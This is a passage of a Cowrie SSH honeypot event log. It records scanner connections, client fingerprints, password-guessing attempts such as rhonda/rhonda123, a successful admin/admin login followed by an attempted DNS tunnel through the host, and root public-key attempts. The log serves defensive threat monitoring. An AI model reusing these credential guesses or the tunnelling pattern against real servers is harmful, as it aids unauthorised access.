{"eventid":"cowrie.login.failed","username":"a207","password":"a207123456","message":"login attempt [a207/a207123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.981755Z","src_ip":"176.65.148.108","session":"08f441ba6d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:01.607185Z","src_ip":"103.153.68.219","session":"d6d2f9e96aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:02.067570Z","src_ip":"176.65.148.108","session":"08f441ba6d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec0d356d57e","protocol":"ssh","message":"New connection: 87.251.64.176:27612 (10.17.0.5:22) [session: 9ec0d356d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:01.689027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:01.694401Z","src_ip":"87.251.64.176","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:01.797977Z","src_ip":"87.251.64.176","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:02.090989Z","src_ip":"87.251.64.176","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:02.190956Z","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:02.290961Z","src_ip":"87.251.64.176","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:02.390450Z","src_ip":"87.251.64.176","session":"9ec0d356d57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58147,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05522950e21","protocol":"ssh","message":"New connection: 213.209.159.56:58147 (159.203.135.109:22) [session: a05522950e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:20.947399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:20.952752Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:21.040242Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda","message":"login attempt [rhonda/rhonda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:21.439600Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda1","message":"login attempt [rhonda/rhonda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:22.524627Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda123","message":"login attempt [rhonda/rhonda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:23.609420Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda1234","message":"login attempt [rhonda/rhonda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:24.695862Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda12345","message":"login attempt [rhonda/rhonda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:25.781922Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:26.866743Z","src_ip":"213.209.159.56","session":"a05522950e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c3b0ea8415b","protocol":"ssh","message":"New connection: 167.114.156.169:57008 (10.17.0.5:22) [session: 1c3b0ea8415b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.018471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.023673Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.042065Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:fe:02:03:3d:d6:cd:43:37:f7:6a:22:be:14:ab:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwC5fq6IfoP2sDLDm9ZqiwtHKrv9Gz9RKOzH1Y+nkAFJdG5Y/gAWO7IFuM9M9V4d/47eoJWIwS+qSDIYPecHHFcVUrrepZ854sycoWETNe03m55WCFEw8SL+p0CtCcP8Hx7yyFjWh89J+OQ0jFzVRTXPNYIeM2Zii7zPGb5E9/EqJdwIdIpH+OpJRYyDOrh/ZYI37gZXfrIQTYNlUCCD5igGmgvzEHdrRMw1n1A+VraCvQrDT6xgjNp++wpB0k66YI25iiBwLwOwm1P0W/Xn+CHPaQqGpOl+6OSftamC0nYiLKJo1rj6/5Fjm9kTUreffoQij4GG6kR5lBZNfsdEDhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:fe:02:03:3d:d6:cd:43:37:f7:6a:22:be:14:ab:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.113962Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:fe:02:03:3d:d6:cd:43:37:f7:6a:22:be:14:ab:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwC5fq6IfoP2sDLDm9ZqiwtHKrv9Gz9RKOzH1Y+nkAFJdG5Y/gAWO7IFuM9M9V4d/47eoJWIwS+qSDIYPecHHFcVUrrepZ854sycoWETNe03m55WCFEw8SL+p0CtCcP8Hx7yyFjWh89J+OQ0jFzVRTXPNYIeM2Zii7zPGb5E9/EqJdwIdIpH+OpJRYyDOrh/ZYI37gZXfrIQTYNlUCCD5igGmgvzEHdrRMw1n1A+VraCvQrDT6xgjNp++wpB0k66YI25iiBwLwOwm1P0W/Xn+CHPaQqGpOl+6OSftamC0nYiLKJo1rj6/5Fjm9kTUreffoQij4GG6kR5lBZNfsdEDhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.117570Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:0c:99:6a:f5:f5:d3:3f:e1:e2:bc:7e:84:30:e5:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtKDDTgr39bjQ9IgHm6G1Ux2Y9RxhlyzLxyxFzQeabIBJKdK3azFiYCvWeLg7wbSMW/rbRyYmt3wUgJBcr35SXajxJxHUVMQtTMcSkkxJdTTG45gM5b4VimCukA8DLfgdfqzQSRIFS9BzsDWh2CXLPtQdcXrJiPEb1xdyhkyn+c59snN/eNYilwQuz5rym487ruAKo7J8dCPr83rdSDnj+wq/EJu1YWjw3klmbj1VJMxEHn9LecuDJD3BuzCChS6phN2Z2CQ2F3k0eMiHZb89N/tVfz0VLxOZMflt4XkKoGLL/SEYH9+IqIiWIT32xmKxJxL1T2zt3iVWa0hyQ6ozgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:0c:99:6a:f5:f5:d3:3f:e1:e2:bc:7e:84:30:e5:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.137080Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:0c:99:6a:f5:f5:d3:3f:e1:e2:bc:7e:84:30:e5:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtKDDTgr39bjQ9IgHm6G1Ux2Y9RxhlyzLxyxFzQeabIBJKdK3azFiYCvWeLg7wbSMW/rbRyYmt3wUgJBcr35SXajxJxHUVMQtTMcSkkxJdTTG45gM5b4VimCukA8DLfgdfqzQSRIFS9BzsDWh2CXLPtQdcXrJiPEb1xdyhkyn+c59snN/eNYilwQuz5rym487ruAKo7J8dCPr83rdSDnj+wq/EJu1YWjw3klmbj1VJMxEHn9LecuDJD3BuzCChS6phN2Z2CQ2F3k0eMiHZb89N/tVfz0VLxOZMflt4XkKoGLL/SEYH9+IqIiWIT32xmKxJxL1T2zt3iVWa0hyQ6ozgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.141280Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:4b:88:c7:aa:08:e9:44:6a:82:48:27:ff:20:97:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrmAB2Q21d73dsUPCmfXXbloS8gJCxQ4p8TBqscRayxEUeQbN0CV76TNV7aMcLnb0Z/rii3uSIvY8hH3yT6tJ4IkXY8dJEGgJu074FLDuAiGkxU5p/nPMAr46P4I1tdzGD9EFT8sV3a66zq/b4ACmdw99nyIQGQ52zvtVeLVvFYcLLH0hIKZAOPrLVb0HnN9iVzl0fBOYD5Dz0gVxa+uFWm9xAB2Rm/nVhsnpYa3T+oCalRNFhj+5GoBvSU01VRqmxe7WahPO1UZGou9Wur4Ka9c7O3z3j+DByg2n6V9yFNthqxmQlfY7g15fuzZf5dZ1s633RE47hu6fkMlebjRPjDPufUnFPtBZb9gSR8BrV/pe6eqjw2DkbaR6wUDeQ7mLCPbMAhEGgBAJbbC/GStIqj88tmjHgh/RgTmbwABBY5V3hmMFmnv6b5WD05YDaNvHP65hkQkl14w6bBi8PJ2uJt2bktK7RWlH5xUlQ6H17SVtIEw9XuHtJ+E4GXnfIznE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:4b:88:c7:aa:08:e9:44:6a:82:48:27:ff:20:97:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.161459Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:4b:88:c7:aa:08:e9:44:6a:82:48:27:ff:20:97:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrmAB2Q21d73dsUPCmfXXbloS8gJCxQ4p8TBqscRayxEUeQbN0CV76TNV7aMcLnb0Z/rii3uSIvY8hH3yT6tJ4IkXY8dJEGgJu074FLDuAiGkxU5p/nPMAr46P4I1tdzGD9EFT8sV3a66zq/b4ACmdw99nyIQGQ52zvtVeLVvFYcLLH0hIKZAOPrLVb0HnN9iVzl0fBOYD5Dz0gVxa+uFWm9xAB2Rm/nVhsnpYa3T+oCalRNFhj+5GoBvSU01VRqmxe7WahPO1UZGou9Wur4Ka9c7O3z3j+DByg2n6V9yFNthqxmQlfY7g15fuzZf5dZ1s633RE47hu6fkMlebjRPjDPufUnFPtBZb9gSR8BrV/pe6eqjw2DkbaR6wUDeQ7mLCPbMAhEGgBAJbbC/GStIqj88tmjHgh/RgTmbwABBY5V3hmMFmnv6b5WD05YDaNvHP65hkQkl14w6bBi8PJ2uJt2bktK7RWlH5xUlQ6H17SVtIEw9XuHtJ+E4GXnfIznE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.165907Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbVtEQ03Geqe2xpmiqaNfpMSlRFt2GESCDawC7XJQYvBEi9DCWo2FXWgbBWCn4jVB32J+2CaneQJh8KHYb4PdJWiH92uEa8gV1IkH9SJOAv5KaRIo5I70OkdnC4ZwSkUb5oBq73VL4z+B/dUwnFcrPEGhiBQJ5dvCS7S7auChDejJGtf8MQ/AlJ46dS7435avjIUUhiok5gfXVzTgXqPtNQvKMTZmyVJqdpiY6aS6BkYP21dcVVYR4CVx51W5ncezQ7kNZR2re5h7gMQikuaXWD05qSPdLIgggoyPcc8iAMfSz9iq5jaLstydDMjygpqJx8j5UciyoiznKN7s9+KcL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.187886Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:34:00:46:ac:25:af:5b:4f:df:9b:d7:e3:4d:a1:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbVtEQ03Geqe2xpmiqaNfpMSlRFt2GESCDawC7XJQYvBEi9DCWo2FXWgbBWCn4jVB32J+2CaneQJh8KHYb4PdJWiH92uEa8gV1IkH9SJOAv5KaRIo5I70OkdnC4ZwSkUb5oBq73VL4z+B/dUwnFcrPEGhiBQJ5dvCS7S7auChDejJGtf8MQ/AlJ46dS7435avjIUUhiok5gfXVzTgXqPtNQvKMTZmyVJqdpiY6aS6BkYP21dcVVYR4CVx51W5ncezQ7kNZR2re5h7gMQikuaXWD05qSPdLIgggoyPcc8iAMfSz9iq5jaLstydDMjygpqJx8j5UciyoiznKN7s9+KcL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.191625Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:59:5c:9e:aa:a4:76:57:aa:d3:dd:f4:87:7c:3e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK3oYGSujVMYdUo6hlsogGAkeU023CWC1Ho2Hk+94hGT4TB2X0P6k6G5AugKmIFb059jCF0Nitrp+DBSHmKcueHqqq3ROq0OYfGmjzaIH9gtybvt2vc+4ITXnC7rBr/Y5fg320vK024HrYUi7BYlhOqzM0cmV0C/z48oIUgrcgl5AZ3cyAupRwiLuda/6q5j6R57Y9eQKAkO57bQCLszBFC05Yk9HGTjq4gVefYBH7f6XF/g1YrGh9jsAXgMke9wIc4T9uIrDGmBZvarlimavG68LvAqe+ayacze0ptQsHva77z095+j6avl8hNwSOdsM+2A8Onap2q2ZvDPODo0RT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:59:5c:9e:aa:a4:76:57:aa:d3:dd:f4:87:7c:3e:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.211115Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:59:5c:9e:aa:a4:76:57:aa:d3:dd:f4:87:7c:3e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK3oYGSujVMYdUo6hlsogGAkeU023CWC1Ho2Hk+94hGT4TB2X0P6k6G5AugKmIFb059jCF0Nitrp+DBSHmKcueHqqq3ROq0OYfGmjzaIH9gtybvt2vc+4ITXnC7rBr/Y5fg320vK024HrYUi7BYlhOqzM0cmV0C/z48oIUgrcgl5AZ3cyAupRwiLuda/6q5j6R57Y9eQKAkO57bQCLszBFC05Yk9HGTjq4gVefYBH7f6XF/g1YrGh9jsAXgMke9wIc4T9uIrDGmBZvarlimavG68LvAqe+ayacze0ptQsHva77z095+j6avl8hNwSOdsM+2A8Onap2q2ZvDPODo0RT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.214869Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.234992Z","src_ip":"167.114.156.169","session":"1c3b0ea8415b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49564,"dst_ip":"10.17.0.5","dst_port":22,"session":"218fde3515e3","protocol":"ssh","message":"New connection: 77.94.47.83:49564 (10.17.0.5:22) [session: 218fde3515e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.294078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.302069Z","src_ip":"77.94.47.83","session":"218fde3515e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 